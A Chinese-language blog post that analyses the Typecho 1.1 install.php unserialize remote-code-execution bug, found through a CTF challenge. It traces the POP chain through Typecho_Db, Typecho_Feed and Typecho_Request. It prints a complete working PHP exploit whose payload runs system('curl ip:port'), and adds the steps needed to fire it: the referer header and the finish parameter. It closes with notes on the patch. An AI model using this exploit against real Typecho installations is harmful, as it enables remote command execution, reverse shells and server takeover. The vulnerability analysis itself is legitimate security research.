起因是跟北邮天璇的师傅聊天的时候聊到mrctf的ezpop-reverage有非预期 其实就是typecho1.1 rce的链子没过滤好,然后我就自己写了个exp 打了一发试试,结果本地打通,远程500了。干脆就不去纠结苛刻的回显利用问题,直接去看看typecho1.1的rce洞。
利用条件
这个洞的一个关键条件就是install.php不被删删除,因为可控的反序列化点在那里。 那就先看看install.php是怎么写的吧
从cookie里获取数据 base64解码之后反序列化 跟进一下get方法的实现
用了一个嵌套的三目运算 翻译一下就是有cookie就用cookie 没cookie就看post有没有 显然是可控的
然后只需要找一条利用链就可以了
反序列化pop链构造
先寻找无条件的入口,会发现__destruct没有可利用的
__wakeup干脆没有
往下跟进,new了一个Typecho_Db类
去看这个类的construct
这里的字符串拼接操作导致可以触发__tostring
全局搜索寻找可利用的tostring
在feed.php中
这一行的属性调用可以触发__get
而request.php中恰好有一个走向rce的get方法
这里相比我在题目里看的版本从单纯的call_user_func变成了一个三目 不影响 array_map和call_user_fun都是代码执行函数。
exp:
<?php
class Typecho_Request
{
private $_params;
private $_filter;
public function __construct()
{// $value = $this->_params[$key]; call_user_func($filter, $value);
$this->_filter=array("system");
$this->_params=array("screenName"=>"curl ip:port");//前面的属性为screenName
}
}
class Typecho_Feed
{
private $_type = 'ATOM 1.0';
private $_charset = 'UTF-8';
private $_lang = 'zh';
private $_items = array();
public function __construct()
{
$this->_items[]=["author"=>new Typecho_Request()];
}
}
$config=array("adapter"=>new Typecho_Feed(),"prefix"=>'123');
echo base64_encode(serialize($config));
?>
(偶尔发一次exp应该问题不大吧)
不是完美的exp
因为属性设置的问题,在某一环节会报错。然后回显会被报错信息覆盖
不过虽然回显没有,命令还是执行了的,curl发个包,弹个shell 写个shell 自己给自己弹个计算器(大雾)还是完全没问题的。
由于这一行的存在,要设置下referer
然后设置finish,在install.php里打过去就OK了
修复方法
务必删除install文件
看了下官方的修复,直接把反序列化那里的实例对象操作删掉了。不过讲道理,explode依然是可以触发__tostring的 这个链子还是存在的
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
$type = explode('_', $config['adapter']);
$type = array_pop($type);
$type = $type == 'Mysqli' ? 'Mysql' : $type;
$installDb = $db;
不过再讲道理
$db = Typecho_Db::get();
try {
$installed = $db->fetchRow($db->select()->from('table.options')->where('name = ?', 'installed'));
if (empty($installed) || $installed['value'] == 1) {
Typecho_Response::setStatus(404);
exit;
}
} catch (Exception $e) {
// do nothing
}
加了个在数据库上进行的判断,在安装成功之后数据库会有一个安装参数
在存在漏洞的版本中,这里仅仅是对get中的finish参数和session,还有文件存在与否进行了与判断,只要设置finish参数就可以绕过去,现在的版本显然安全多了。
0 条评论